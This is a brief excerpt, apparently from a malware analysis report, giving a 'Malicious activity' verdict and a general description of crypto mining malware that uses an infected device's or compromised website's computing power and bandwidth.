| Verdict: | Malicious activity |
| Threats: | Crypto mining malware is a resource-intensive threat that infiltrates computers with the purpose of mining cryptocurrencies. This type of threat can be deployed either on an infected machine or a compromised website. In both cases the miner will utilize the computing power of the device and its network bandwidth. |
